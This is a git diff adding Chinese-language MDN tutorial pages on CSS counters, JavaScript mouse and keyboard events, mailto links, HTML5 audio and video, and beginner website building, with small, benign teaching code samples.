  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+ +

Numbered paragraphs

+ +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ +
+
挑战
+ +

增加一条规则,用罗马数字i到v计数大洋的名字

+ + + + + + + +
+

The oceans

+ +
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+
+ +

 

+ +

修改样式,将标题用大写字母加括号的方式标序:

+ + + + + + + +
+

(A) The oceans

+ +

. . .

+ +

(B) Numbered paragraphs

+ +

. . .

+
+
+ +

答案

+ +

接下来?

+ +

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Boxes", "盒模型") }}浏览器显示你的样例文档,在将元素放置在页面上时,会在元素周围创建空间。下一章节将向你描述如何使用CSS来和元素下的形状一起工作,元素下的形状我们称为盒子boxes)。

+ +

 

diff --git a/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..67056c679b --- /dev/null +++ b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,294 @@ +--- +title: 起步(Javascript 教程) +slug: Web/JavaScript/Getting_Started +tags: + - bug-840092 +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +translation_of_original: Web/JavaScript/Getting_Started +--- +

JavaScript是什么?

+ +

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

+ +

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

+ +

你应该知道

+ +

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

+ +

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

+ +

起步

+ +

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

+ +

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

+ +

浏览器兼容问题

+ +

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

+ +

如何运行示例

+ +

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

+ +

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

+ +

举例:捕获一个鼠标单击事件

+ +

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

+ +

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

+ + + +

捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

+ +
  <span onclick="alert('Hello World!');">Click Here</span>
+ +

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

+ +
<script type="text/javascript">
+  function onclick_callback () {
+     alert ("Hello, World!");
+  }
+</script>
+<span onclick="onclick_callback();">Click Here</span>
+ +

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

+ +
<script type="text/javascript">
+  function onclick_callback(event) {
+    var eType = event.type;
+    /* the following is for compatability */
+    /* Moz populates the target property of the event object */
+    /* IE populates the srcElement property */
+    var eTarget = event.target || event.srcElement;
+
+    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
+  }
+</script>
+<span onclick="onclick_callback(event);">Click Here</span>
+ +

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

+ +
<script type="text/javascript">
+  function mouseevent_callback(event) {
+    /* The following is for compatability */
+    /* IE does NOT by default pass the event object */
+    /* obtain a ref to the event if one was not given */
+    if (!event) event = window.event;
+
+    /* obtain event type and target as earlier */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' event on element with id: '+ eTarget.id);
+  }
+
+ function onload () {
+   /* obtain a ref to the 'body' element of the page */
+   var body = document.body;
+   /* create a span element to be clicked */
+   var span = document.createElement('span');
+   span.id = 'ExampleSpan';
+   span.appendChild(document.createTextNode ('Click Here!'));
+
+   /* register the span object to receive specific mouse events */
+   span.onmousedown = mouseevent_callback;
+   span.onmouseup = mouseevent_callback;
+   span.onmouseover = mouseevent_callback;
+   span.onmouseout = mouseevent_callback;
+
+   /* display the span on the page */
+   body.appendChild(span);
+}
+</script>
+ +

{{ draft() }}

+ +

举例:捕获一个键盘事件

+ +

同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

+ +

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

+ + + +

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

+ +

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

+ +
  <input type="text" onkeypress="alert ('Hello World!');"></input>
+
+ +

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

+ +
<script type="text/javascript">
+  function onkeypress_callback () {
+    alert ("Hello, World!");
+  }
+</script>
+
+<input onkeypress="onkeypress_callback();"></input>
+
+ +

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

+ +
<script type="text/javascript">
+  function onkeypress_callback(evt) {
+      var eType = evt.type; // Will return "keypress" as the event type
+      var eCode = 'keyCode is ' + evt.keyCode;
+      var eChar = 'charCode is ' + evt.charCode;
+
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+</script>
+<input onkeypress="onkeypress_callback(event);"></input>
+ +

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

+ +
<script type="text/javascript">
+  document.onkeypress = key_event;
+  document.onkeydown = key_event;
+  document.onkeyup = key_event;
+
+  function key_event(evt) {
+      var eType = evt.type;
+      var eCode = "ASCII code is " + evt.keyCode;
+      var eChar = 'charCode is ' + evt.charCode;
+
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+</script>
+ +

下面是一个完整的键盘事件处理过程:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <script>
+    var metaChar = false;
+    var exampleKey = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which;
+      var keychar = String.fromCharCode(key);
+      if (key==exampleKey) { metaChar = true; }
+      if (key!=exampleKey) {
+         if (metaChar) {
+            alert("Combination of metaKey + " + keychar)
+            metaChar = false;
+         } else { alert("Key pressed " + key); }
+      }
+    }
+    function metaKeyUp (event) {
+      var key = event.keyCode || event.which;
+      if (key==exampleKey) { metaChar = false; }
+    }
+  </script>
+</head>
+<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
+</body>
+</html>
+ +

浏览器 bugs 和 quirks

+ +

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

+ +

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

+ +

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

+ +

{{ draft() }}

+ +

举例:拖曳图片

+ +

下面的例子展示了firefox浏览器下如何实现拖动图片:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<style type='text/css'>
+img { position: absolute; }
+</style>
+
+<script type='text/javascript'>
+window.onload = function() {
+
+  movMeId=document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
+  movMeId.style.left = "80px";
+  movMeId.style.position = "absolute";
+
+  document.onmousedown = coordinates;
+  document.onmouseup=mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove=moveImage;
+      return false;
+    } else {
+        return false;
+    }
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+</script>
+</head>
+
+<body>
+  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
+  <p>Drag and drop around the image in this page.</p>
+</body>
+
+</html>
+ +

举例:改变大小

+ +
{{todo("Need Content. Or, remove headline")}}
+ +

举例:绘制直线

+ +
+

附加文档信息

+ + +
+ +

 

diff --git a/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..fd51ef502f --- /dev/null +++ b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,86 @@ +--- +title: Email links +slug: Web/Guide/HTML/Email_links +tags: + - HTML5 + - SEO + - a + - email link + - mailto +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links +translation_of_original: Web/Guide/HTML/Email_links +--- +

这往往是有益的Web站点能够创建链接或按钮,点击后,打开一个新的出站电子邮件。例如,这可能会创造一个“联系我们”按钮时使用。这是使用完成{{HTMLElement("a")}} 元素和mailto URL方案。.

+ +

Mailto 基础

+ +

以它最基础和最常用的形式,一个mailto链接仅简单的指明目标收件人的邮箱地址。例如:

+ +
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
+
+Complete examples detail:
+
+<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com
+&amp;subject=The%20subject%20of%20the%20email
+&amp;body=The%20body%20of%20the%20email">
+Send mail with cc, bcc, subject and body</a>
+ + + +

这导致链接看起来像这样: Send email to nowhere.

+ +

事实上, 目标收件人邮件地址都是可选的。 如果你不添加它 (也就是,你的{{htmlattrxref("href", "a")}} 是简单的 "mailto:"),用户的邮件客户端将打开一个新的外发电子邮件窗口,该窗口尚未指定目标地址。这通常非常有用,因为用户可以单击“共享”链接以将电子邮件发送到他们选择的地址。

+ +

指定细节

+ +

除了电子邮件地址,您还可以提供其他信息。事实上, 任何标准的邮件头字段都可以添加到您提供的mailto URL中。 最广泛使用的是: "subject", "cc", and "body" (这不是真正的标题字段,但允许您为新电子邮件指定简短内容消息). 每个字段及其值都被指定为一个查询字词(query term)。

+ +
+
+
译者注:
+
+ + +
+ +
+

Note: 每个字段的值都必须进行编码  (也就是, 带有非印刷字符和空格 percent-escaped).

+
+ +

样品mailto 网址

+ +

这有一些有关 mailto 的示例链接:

+ + + +

请注意,使用&符号来分隔mailto URL中的每个字段。这是标准的URL查询表示法。

+ +

例子

+ +

如果您想创建一封要求订阅新闻通讯的外发电子邮件, 您可能会使用一个 mailto链接,像这样:

+ +
<a href="mailto:nowhere@mozilla.org?subject=Newsletter%20subscription%20request&body=Please%20subscribe%20me%20to%20your%20newsletter!%0A%0AFull%20name%3A%0A%0AWhere%20did%20you%20hear%20about%20us%3F">
+Subscribe to our newsletter
+</a>
+ +

结果链接看起来像这样: Subscribe to our newsletter.

+ + diff --git a/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..f1ebacd184 --- /dev/null +++ b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,275 @@ +--- +title: 使用 HTML5 音频和视频 +slug: Web/Guide/HTML/Using_HTML5_audio_and_video +tags: + - Flash + - HTML + - HTML5 + - Media + - Ogg + - Web + - 媒体 + - 指南 + - 概述 + - 特性 + - 范例 + - 视频 + - 音频 +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video +--- +

HTML5 通过HTML标签“audio”和“video”来支持嵌入式的媒体,使开发者能够方便地将媒体嵌入到HTML文档中。

+ +

嵌入媒体

+ +

在HTML中嵌入媒体:

+ +
+
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls>
+  你的浏览器不支持 <code>video</code> 标签.
+</video>
+ +

这个例子展示了一个带有回放控制器的可播放视频,视频来源于Theora网站。

+ +

下面是一个将音频嵌入到HTML文档的例子。

+ +
<audio src="/test/audio.ogg">
+你的浏览器不支持audio标签
+</audio>
+
+ +

src属性可以设置为一个音频文件的URL或者本地文件的路径。

+ +
+
<audio src="audio.ogg" controls autoplay loop>
+你的浏览器不支持audio标签
+</audio>
+
+ +

这个例子的代码中使用了HTML的“audio”元素的一些属性:

+ + + +
+
<audio src="audio.mp3" preload="auto" controls></audio>
+
+ +

preload属性用来缓冲audio元素的大文件,有三个属性值可供设置:

+ + + +

可以用 {{ HTMLElement("source") }} 标签来指定多个文件,以为不同浏览器提供可支持的编码格式。例如:

+ +
<video controls>
+  <source src="foo.ogg" type="video/ogg">
+  <source src="foo.mp4" type="video/mp4">
+  Your browser does not support the <code>video</code> element.
+</video>
+
+ +

当浏览器支持Ogg格式的时候, 该代码会播放Ogg文件。 如果浏览器不支持Ogg,浏览器会播放MPEG-4 file。参见列表 audio和video元素支持的媒体格式 来查看不同浏览器对视频音频编码格式的支持情况。

+ +

你也可以指定视频文件需要的视频编解码器的值;这样允许浏览器做出更加正确的决定:

+ +
<video controls>
+  <source src="foo.ogg" type="video/ogg; codecs=dirac, speex">
+  Your browser does not support the <code>video</code> element.
+</video>
+ +

在这里,我们指定video标签使用Dirac和Speex的视频编解码器。如果浏览器支持Ogg,但是不支持指定的编解码器,则视频不会被加载。

+ +

如果类型属性没有被指定,媒体类型将返回至服务器然后检查浏览器是否可以解决;如果不能被执行,就检查下一个来源。如果没有任何一个指定的来源元素可以使用,则分派一个错误事件给video标签。如果指定了类型属性,那么将会与浏览器能够播放的类型做对比,如果其没有被识别,甚至不会被向服务器发出询问;相反,下一个来源会被同时检查。

+ +

点击 媒体事件 来查看完整的媒体回放事件列表。要查看不同浏览器支持的媒体格式的详细信息, 点击 Media formats supported by the audio and video elements.

+ +

媒体回放控制

+ +

当你已经用新的元素将媒体嵌入 HTML 文档以后,你就可以用 JavaScript 代码 采用编程的方式来控制它们。比如说,如果你想(重新)开始播放,可以写如下的代码:

+ +
var v = document.getElementsByTagName("video")[0];
+v.play();
+
+ +

头一行是取得当前文档中第一个视频元素,下一行调用了该元素的 play() 方法, 这一方法在实现媒体元素的接口中定义。

+ +

控制一个 HTML5 音频播放器的播放、暂停、增减音量等则直接了当:

+ +
<audio id="demo" src="audio.mp3"></audio>
+<div>
+  <button onclick="document.getElementById('demo').play()">播放声音</button>
+  <button onclick="document.getElementById('demo').pause()">暂停声音</button>
+  <button onclick="document.getElementById('demo').volume+=0.1">提高音量</button>
+  <button onclick="document.getElementById('demo').volume-=0.1">降低音量</button>
+</div>
+
+ +

终止媒体下载

+ +

停止媒体播放很简单,只要调用 pause() 方法即可,然而浏览器还会继续下载媒体直至媒体元素被垃圾回收机制回收。

+ +

以下是即刻停止媒体下载的方法:

+ +
var mediaElement = document.getElementById("myMediaElementID");
+mediaElement.pause();
+mediaElement.src='';
+//or
+mediaElement.removeAttribute("src");
+
+ +

通过移除媒体元素的 src 属性(或者直接将其设为一个空字符串——这取决于具体浏览器), 你可以摧毁该元素的内部解码,从而结束媒体下载。removeAttribute() 操作并不干净, 而将<video>元素的 'src' 属性设为空字符串可能会引起我们不想要的请求(Mozilla Firefox 22)。

+ +

 

+ +

在媒体中查找

+ +

媒体元素支持在媒体的内容中从当前播放位置移到某个特定点。 这是通过设置元素的属性currentTime的值来达成的;有关元素属性的详细信息请看{{ domxref("HTMLMediaElement") }} 。 简单的设置那个你希望继续播放的以秒为单位时间值。

+ +

你可以使用元素的属性seekable来决定媒体目前能查找的范围。它返回一个你可以查找的{{ domxref("TimeRanges") }} 时间对象。

+ +
var mediaElement = document.getElementById('mediaElementID');
+mediaElement.seekable.start();  // 返回开始时间 (in seconds)
+mediaElement.seekable.end();    // 返回结束时间 (in seconds)
+mediaElement.currentTime = 122; // 设定在 122 seconds
+mediaElement.played.end();      // 返回浏览器播放的秒数
+
+ +

标记播放范围

+ +

在给一个<audio>或者<video>元素标签指定媒体的URI的时候,你可以选择性地加入一些额外信息来指定媒体将要播放的部分。要这样做的话,需要附加一个哈希标志("#"),后面跟着媒体片段的描述。

+ +

一条指定时间范围的语句:

+ +
#t=[starttime][,endtime]
+ +

时间值可以被指定为秒数(如浮点数)或者为以冒号分隔时/分/秒格式(像2小时5分钟1秒表示为2:05:01)。

+ +

一些例子:

+ +
+
http://foo.com/video.ogg#t=10,20
+
指定视频播放范围为从第10秒到第20秒.
+
http://foo.com/video.ogg#t=,10.5
+
指定视频从开始播放到第10.5秒.
+
http://foo.com/video.ogg#t=,02:00:00
+
指定视频从开始播放到两小时.
+
http://foo.com/video.ogg#t=60
+
指定视频从第60秒播放到结束.
+
+ +
+

媒体元素URI中播放范围部分的规范已被加入到 Gecko 9.0 {{ geckoRelease("9.0") }}. 当下, 这是Geoko Media Fragments URI specification 唯一实现的部分,并且只有是在非地址栏给媒体元素指定来源时才可使用。

+
+ +

备选项

+ +

在HTML之间,例如,不支持HTML5媒体的浏览器可以处理媒体元素的开始和结束标记.你可以利用这一点给这些浏览器添加一些备项。

+ +

此节给视频提供了两个可能的备选项,在各种情况下,如果浏览器支持HTML5视频,它就会被使用,否则,会使用备选项。

+ +

使用Flash

+ +

{{ HTMLElement("video") }} 标签不被支持时可以使用Flash播放Flash格式的影像。

+ +
<video src="video.ogv" controls>
+    <object data="flvplayer.swf" type="application/x-shockwave-flash">
+      <param value="flvplayer.swf" name="movie"/>
+    </object>
+</video>
+ +

注意不要在object标签中加入class、id以兼容IE以外的浏览器。

+ +

使用Java 小程序播放Ogg视频

+ +

这里有一个名为Cortado的Java小程序,在不支持HTML5视频的浏览器你可以用它作为备选项来播放Ogg视频:

+ +
<video src="my_ogg_video.ogg" controls width="320" height="240">
+  <object type="application/x-java-applet" width="320" height="240">
+     <param name="archive" value="cortado.jar">
+     <param name="code" value="com.fluendo.player.Cortado.class">
+     <param name="url" value="my_ogg_video.ogg">
+     <p>You need to install Java to play this file.</p>
+  </object>
+</video>
+ +

如果你没有给cortado object元素创建一个备用的子元素,像上面的 {{ HTMLElement("p") }} 元素,没有安装java的Firfox3.5设备就会错误的通知用户需要安装一个插件才能查看页面内容.

+ +

{{ h1_gecko_minversion("错误处理", "2.0") }}

+ +

Geocko2.0首发{{ geckoRelease("2.0") }}, 错误处理已经被修订符合HTML5的最新版规范。 取缔把错误事件发送给媒体元素自生的方式,现在把它交付给子代中的 {{ HTMLElement("source") }}元素对应导致错误的来源。

+ +

这使你可以查到是哪个资源加载失败,哪个是可用的。

+ +
<video>
+<source id="mp4_src"
+  src="video.mp4"
+  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'>
+</source>
+<source id="3gp_src"
+  src="video.3gp"
+  type='video/3gpp; codecs="mp4v.20.8, samr"'>
+</source>
+<source id="ogg_src"
+  src="video.ogv"
+  type='video/ogg; codecs="theora, vorbis"'>
+</source>
+</video>
+ +

由于专利限制,Firefox不支持MP4和3GP,ID为“mp4_src"和"3gp_src"的 {{ HTMLElement("source") }} 元素在Ogg资源加载之前将会接收到错误事件。这些资源会根据出现的顺序尝试被加载,一旦有一个资源加载成功,剩下的资源就不会被加载。

+ +

没有资源加载成功时的检测

+ +

检测是否所有的子{{ HTMLElement("source") }} 元素都加载失败,检查媒体元素的networkState属性值。如果值为HTMLMediaElement.NETWORK_NO_SOURCE,就可以知道所以的资源都加载失败了。

+ +

如果这时你通过插入一个新的 {{ HTMLElement("source") }} 元素作为媒体元素的子元素的方法添加一个新资源,Gecko会尝试加载指定的资源。

+ +

没有资源可用时显示备用内容

+ +

另一个显示视频的备用内容的方法是在最后一个source元素上增加一个错误处理器。

+ +
<video controls>
+  <source src="dynamicsearch.mp4" type="video/mp4"></source>
+  <a href="dynamicsearch.mp4">
+    <img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS">
+  </a>
+  <p>Click image to play a video demo of dynamic app search</p>
+</video>
+
+
+ +
var v = document.querySelector('video'),
+    sources = v.querySelectorAll('source'),
+    lastsource = sources[sources.length-1];
+lastsource.addEventListener('error', function(ev) {
+  var d = document.createElement('div');
+  d.innerHTML = v.innerHTML;
+  v.parentNode.replaceChild(d, v);
+}, false);
+
+ +

相关文章

+ + diff --git a/files/zh-cn/conflicting/learn/index.html b/files/zh-cn/conflicting/learn/index.html new file mode 100644 index 0000000000..9e2e40d682 --- /dev/null +++ b/files/zh-cn/conflicting/learn/index.html @@ -0,0 +1,172 @@ +--- +title: 如何建设一个网站 +slug: Learn/tutorial/How_to_build_a_web_site +translation_of: Learn +translation_of_original: Learn/tutorial/How_to_build_a_web_site +--- +

  当我们在学习网页设计时,许多人都希望尽快建设一个属于自己的网站。为了让你建站之路更平坦,我们已经缩小了你所需要的最低限度的知识。

+ +

我们建议你先从这儿的文章开始 ,认真学习它们,如果你在学习中有关术语的问题,请用我们的词汇表.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 理论
+ 知识
技术
+ 知识
实践
+ 知识
1开始你的web项目
+ 在这篇文章中我们首先讨论了在任何一个项目中你所必要的一步:确定你要完成什么和为什么.
  
2英特网是如何工作的
+ 这篇文章将为你解释什么是英特网以及它是如何工作的。
  
3 了解网页、网站、服务器、以及搜索引擎之间的不同网络服务器是什么?
+ 在这篇文章中,我们将要论述什么是网络服务器,它们是如何运作的以及它们为什么如此重要.
我们需要什么软件(它们用来干什么)?
+ 在文中我们将要介绍你在编辑网页,上传文件,以及管理网站中你需要什么软件。
4了解网络上的链接
+ 在文章中, 我们将详细的论述网络链接, 这个在万维网中相当重要的一个角色.
  
5了解URLs以及它们的构成
+ 在这篇文章中,我们将介绍URLs是什么(同一资源定位器)以及它们是如何构成的。
认识域名
+ 在这篇文章中,我们将对域名留下深刻印象:域名是什么,它们如何构成,以及怎样获取一个域名。
 
6剖析一个网页
+ 当你在做你自己的网站时,你最好知道一些普通的设计.
 在网上做些什么花费多少钱?
+ 涉及到互联网的东西并不像它看起来那么便宜。在文中我们将论述你可能花费多少钱以及为什么。
7设计之外,基础的网页设计 选择下载安装一个编辑器
+ 在这篇文章中,我们强调一些事情关于下载安装编译器用于网站开发。
8  创建一个基本的工作环境
+ 这篇文章让你用工作站建立你的网站
9 用HTML写一个简单的网页
+ 学习如何创造一个简单的网页。
打开文件在你的浏览器中r
+ 这篇文章讲解了在浏览器中通过各种方式接入文件,以及这种正确的方式为什么如此重要。
10 什么是HTML标签&如何使用它们
+ 这篇文章包含了 HTML 基础:什么是标签以及如何使用它们。
上传文件到服务器
+ 本文介绍了如何使用FTP工具发布你的网站
11   +

检查你的网站是否工作正常
+ 本指南概述了一些找到并修复常见错误的策略

+
+ +

这些是都是你需要的第一个网站学习的基本知识,但如果你想做出更高端更专业的网站,请继续往下读:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 理论
+ 知识
技术
+ 知识
实践
+ 知识
12人们需要什么才能查看你的网站  
13 在你的网页中使用CSS
+ 本文将介绍如何使用CSS样式表来改变你的网页样式
 
14什么是无障碍性网页
+ 本文介绍了无障碍性网页背后的基本概念。
什么是CSS属性以及该如何使用它们
+ CSS特性应该如何使用。本文介绍了图和使用CSS属性选择器应用HTML元素
 
15为各类用户设计101
+ 本文提供了基本的无障碍性网站技巧
+

CSS基本的文字排版
+ 最常见的CSS属性概述

+
 
16 使用图片 
17避开在网页设计中的常见陷阱用户体验(UX)基础设计导航菜单
+ +

 

diff --git a/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..1f53ff70ba --- /dev/null +++ b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,172 @@ +--- +title: JavaScript 与 CSS +slug: Web/Guide/CSS/Getting_started/JavaScript +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +translation_of_original: Web/Guide/CSS/Getting_started/JavaScript +--- +

{{ CSSTutorialTOC() }}

+ +

本文是 CSS tutorial 第二部分的第一章节。第二部分的内容主要是一些css和其他web技术的使用范例。 

+ +

第二部分的内容主要来向你展示CSS是如何同其他技术进行交互的。但是这样做的目的并不是教你如何使用这些技术,如果你想深入学习,可以查找具体的文档。

+ +

换句话说,这些页面是用来向你展示CSS的多种用途的。通过这些页面,你不需要掌握其他技术就可以获取到很多CSS的相关知识。

+ +

上一章 (Part I): Media
+ 下一章: SVG

+ +

相关知识: JavaScript

+ +

JavaScript是一种编程语言,它被广泛用来实现web站点和应用中的交互效果。

+ +

JavaScript可以同样式进行交互,你可以通过编写程序来动态改变文档上元素的样式。 

+ +

有三种方法可以实现这样的效果:

+ + + + + + + + + + +
更多细节
要了解 JavaScript的更多细节,可以到这个wiki JavaScript 。
+ +

范例: 一个JavaScript的实例

+ +

新建一个doc5.html的页面,把下面的代码复制粘贴进入,注意要保证保存了所有的代码:

+ +
+
<!DOCTYPE html>
+<html>
+
+<head>
+<title>Mozilla CSS Getting Started - JavaScript demonstration</title>
+<link rel="stylesheet" type="text/css" href="style5.css" />
+<script type="text/javascript" src="script5.js"></script>
+</head>
+
+<body>
+<h1>JavaScript sample</h1>
+<div id="square"></div>
+<button>Click Me</button>
+
+</body>
+</html>
+
+
+ +

新建一个CSS文件style5.css,复制粘贴下面的样式代码到文件中:

+ +
+
  #square {
+
+      width: 20em;
+
+      height: 20em;
+
+      border: 2px inset gray;
+
+      margin-bottom: 1em;
+
+  }
+
+  button {
+
+      padding: .5em 2em;
+
+  }
+
+ +

新建一个JavaScript文件script5.js,复制粘贴下面的代码到文件中:

+ +
+
// JavaScript demonstration
+var changeBg = function (event) {
+    console.log("method called");
+    var me = event.target
+    ,   square = document.getElementById("square");
+    square.style.backgroundColor = "#ffaa44";
+    me.setAttribute("disabled", "disabled");
+    setTimeout(function () { clearDemo(me) }, 2000);
+}
+
+function clearDemo(button) {
+    var square = document.getElementById("square");
+    square.style.backgroundColor = "transparent";
+    button.removeAttribute("disabled");
+}
+
+window.onload = function() {
+    var button = document.querySelector("button");
+    button.addEventListener("click", changeBg);
+    console.log(button);
+}
+
+ +

用浏览器打开HTML文件并点击按钮。

+ +

这里有在线的示例:Here is the Live Example

+ + + + + + + + +
+ + + + + + +
+

JavaScript demonstration

+
+
+ + + + + + +
+

JavaScript demonstration

+
+
+ +
重要提示 : + + +
+ + + + + + + + +
挑战
修改脚本代码实现如下效果:当颜色改变的时候让方块跳至右侧20em的距离,然后再恢复到原来的位置。
+ +

这里有一个解决方案示例:See a solution to this challenge.

+ +

下一步做什么呢?

+ +

如果你对本页内容有疑问,或者有其他想法,欢迎到 Discussion 页面进行讨论。

+ +

